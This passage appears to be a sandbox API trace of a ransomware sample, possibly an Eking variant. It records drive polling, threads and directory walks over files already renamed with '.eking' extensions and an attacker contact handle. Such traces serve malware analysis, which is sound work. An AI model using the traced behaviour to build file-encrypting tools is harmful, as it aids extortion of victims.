[0274.639] GetProcessHeap () returned 0xaf0000 [0274.639] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c058 [0274.639] GetProcessHeap () returned 0xaf0000 [0274.639] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c080 [0274.639] GetProcessHeap () returned 0xaf0000 [0274.639] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafb448 [0274.639] GetProcessHeap () returned 0xaf0000 [0274.639] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb448 | out: hHeap=0xaf0000) returned 1 [0274.639] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c058, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.639] GetProcessHeap () returned 0xaf0000 [0274.639] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c080 | out: hHeap=0xaf0000) returned 1 [0274.639] GetProcessHeap () returned 0xaf0000 [0274.639] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c120 | out: hHeap=0xaf0000) returned 1 [0274.639] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2d6fc4c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2d6fc4c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.640] GetProcessHeap () returned 0xaf0000 [0274.640] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c058 | out: hHeap=0xaf0000) returned 1 [0274.640] GetProcessHeap () returned 0xaf0000 [0274.640] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe368 [0274.640] GetProcessHeap () returned 0xaf0000 [0274.640] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xb00930 [0274.640] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x294 [0274.640] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x298 [0274.640] GetLogicalDrives () returned 0x4 [0274.640] Sleep (dwMilliseconds=0x3e8) [0275.864] GetLogicalDrives () returned 0x4 [0275.864] Sleep (dwMilliseconds=0x3e8) [0277.177] GetLogicalDrives () returned 0x4 [0277.177] Sleep (dwMilliseconds=0x3e8) [0278.503] GetLogicalDrives () returned 0x4 [0278.503] Sleep (dwMilliseconds=0x3e8) [0279.799] GetLogicalDrives () returned 0x4 [0279.800] Sleep (dwMilliseconds=0x3e8) [0281.125] GetLogicalDrives () returned 0x4 [0281.125] Sleep (dwMilliseconds=0x3e8) [0282.278] GetLogicalDrives () returned 0x4 [0282.278] Sleep (dwMilliseconds=0x3e8) [0283.414] GetLogicalDrives () returned 0x4 [0283.414] Sleep (dwMilliseconds=0x3e8) [0284.487] GetLogicalDrives () returned 0x4 [0284.487] Sleep (dwMilliseconds=0x3e8) [0286.387] GetLogicalDrives () returned 0x4 [0286.388] Sleep (dwMilliseconds=0x3e8) [0287.866] GetLogicalDrives () returned 0x4 [0287.866] Sleep (dwMilliseconds=0x3e8) [0289.217] GetLogicalDrives () returned 0x4 [0289.218] Sleep (dwMilliseconds=0x3e8) [0290.634] GetLogicalDrives () returned 0x4 [0290.634] Sleep (dwMilliseconds=0x3e8) [0292.406] GetLogicalDrives () returned 0x4 [0292.406] Sleep (dwMilliseconds=0x3e8) [0294.282] GetLogicalDrives () returned 0x4 [0294.283] Sleep (dwMilliseconds=0x3e8) [0295.587] GetLogicalDrives () returned 0x4 [0295.587] Sleep (dwMilliseconds=0x3e8) Thread: id = 101 os_tid = 0xbf4 [0274.811] GetProcessHeap () returned 0xaf0000 [0274.811] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x38) returned 0xb02f48 [0274.811] GetProcessHeap () returned 0xaf0000 [0274.811] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x18) returned 0xb010d8 [0274.811] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a0 [0274.811] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a4 [0274.811] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a8 [0274.811] GetProcessHeap () returned 0xaf0000 [0274.811] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb11810 [0274.812] GetProcessHeap () returned 0xaf0000 [0274.812] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb21818 [0274.812] GetProcessHeap () returned 0xaf0000 [0274.812] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xafb620 [0274.813] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.813] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0274.813] Wow64DisableWow64FsRedirection (in: OldValue=0x2aefc94 | out: OldValue=0x2aefc94*=0x0) returned 1 [0274.813] GetProcessHeap () returned 0xaf0000 [0274.813] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb620 | out: hHeap=0xaf0000) returned 1 [0274.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2aefc9c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0274.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2aefc9c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0274.814] GetProcessHeap () returned 0xaf0000 [0274.814] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb31820 [0274.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xb02bc8 [0274.815] GetProcessHeap () returned 0xaf0000 [0274.815] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb41828 [0274.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0274.816] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0274.816] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0274.816] GetProcessHeap () returned 0xaf0000 [0274.816] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0274.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0274.818] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.818] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2697217, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2697217, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc26bb503, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DOWNLE~1.EKI")) returned 1 [0274.819] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2648d68, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2648d68, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc281293c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="OOBE_2~1.EKI")) returned 1 [0274.819] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0274.819] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 0 [0274.819] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0274.820] GetProcessHeap () returned 0xaf0000 [0274.820] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0274.821] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0274.821] GetProcessHeap () returned 0xaf0000 [0274.821] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0274.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c48 [0274.823] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.823] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2838bcd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2838bcd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc285f08e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~1.EKI")) returned 1 [0274.823] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc285f08e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc285f08e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~2.EKI")) returned 1 [0274.823] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28ab2d9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0274.823] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28ab2d9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28ab2d9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PREOOB~1.EKI")) returned 1 [0274.823] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 1 [0274.823] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 0 [0274.824] FindClose (in: hFindFile=0xb02c48 | out: hFindFile=0xb02c48) returned 1 [0274.824] GetProcessHeap () returned 0xaf0000 [0274.825] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0274.825] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0274.825] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0274.826] GetProcessHeap () returned 0xaf0000 [0274.826] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb41828 | out: hHeap=0xaf0000) returned 1 [0274.827] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0274.828] GetProcessHeap () returned 0xaf0000 [0274.828] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0274.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb03008 [0274.828] FindNextFileW (in: hFindFile=0xb03008, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0274.828] FindNextFileW (in: hFindFile=0xb03008, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0274.828] GetProcessHeap () returned 0xaf0000 [0274.828] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0274.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0274.829] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.829] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2de245f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0274.829] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2de245f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0274.829] FindClose (in: hFindFile=0xb03108 | out: hFindFile=0xb03108) returned 1 [0274.829] GetProcessHeap () returned 0xaf0000 [0274.829] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0274.830] FindNextFileW (in: hFindFile=0xb03008, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0274.830] GetProcessHeap () returned 0xaf0000 [0274.830] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb53840 [0274.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0274.831] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.831] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6744d615, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0274.832] SetEvent (hEvent=0x2a4) returned 1 [0274.832] ResetEvent (hEvent=0x2a8) returned 1 [0274.832] FindNextFileW (in: 